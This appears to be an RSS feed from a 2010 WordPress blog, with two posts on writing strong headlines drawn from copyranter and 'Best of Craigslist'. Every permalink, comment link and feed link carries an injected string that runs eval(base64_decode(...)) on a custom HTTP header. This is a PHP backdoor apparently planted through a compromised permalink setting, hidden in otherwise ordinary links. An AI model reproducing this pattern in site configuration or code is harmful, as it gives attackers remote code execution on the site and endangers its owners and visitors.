Goodtree & Company :: Blog » headlines http://goodtreecompany.com/wordpress Adventures in New Media Mon, 09 Aug 2010 04:59:59 +0000 http://wordpress.org/?v=2.5 en Che Guevara’s Ass Splintered and Raw http://goodtreecompany.com/wordpress/2007/07/17/che-guevaras-ass-splintered-and-raw/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2007/07/17/che-guevaras-ass-splintered-and-raw/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 17 Jul 2007 17:20:23 +0000 Hal http://online-copywriter.com/wordpress/2007/07/17/che-guevaras-ass-splintered-and-raw/ Last week, we talked about powerful headlines on Craigslist “Best Of”. Here’s another great headline from the blog of copyranter:

Che Guevara’s ass splintered and raw from rolling over in his grave

The scathingly hilarious post opines the continuing irony of exploliting Che’s image for capitalist purposes. Read it all here.

Why does this headline work?

  • It’s original
  • It’s provacative
  • It makes you want to read more

How do we know it worked? Out over several hundred new posts in our collection of feeds on Bloglines, this one stood out from the pack.

Che Guevara Ad

]]> http://goodtreecompany.com/wordpress/2007/07/17/che-guevaras-ass-splintered-and-raw/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ I Stole Your Crutches http://goodtreecompany.com/wordpress/2007/07/13/i-stole-your-crutches/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2007/07/13/i-stole-your-crutches/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 13 Jul 2007 09:03:24 +0000 Hal http://online-copywriter.com/wordpress/2007/07/13/i-stole-your-crutches/ When writing for the internet - websites, emails, CTAs - a great headline is the key to opening up the viewer’s interest. In many types of messaging (think Craigslist posting), no one will read your great message if the headline doesn’t suck them in.

I Stole Your Crutches

[Viewer warning - some of the links may use adult language. Don’t click if you are offended by that kind of stuff.]

It’s instructive to peruse the Best of Craigslist from time to time. These are posts that have been flagged by viewers as worthy of sharing with everyone.

The best of the Best share two qualities:

  • Headline that promises something (entertainment, enlightenment, a 1973 Strat for $400)
  • Body copy that pays off or exceeds the promise

The same principles apply to email campaigns, websites, landing pages and even your own personal correspondence. Could you be writing stronger headlines for your emails? Think about it. And consider these headlines and posts that made it to Best of:

Bad News About the Screeching Bird on Rossmore…

from your pizza delivery girl

Wanted: STONER BOYFRIEND

I stole your crutches

craigslist

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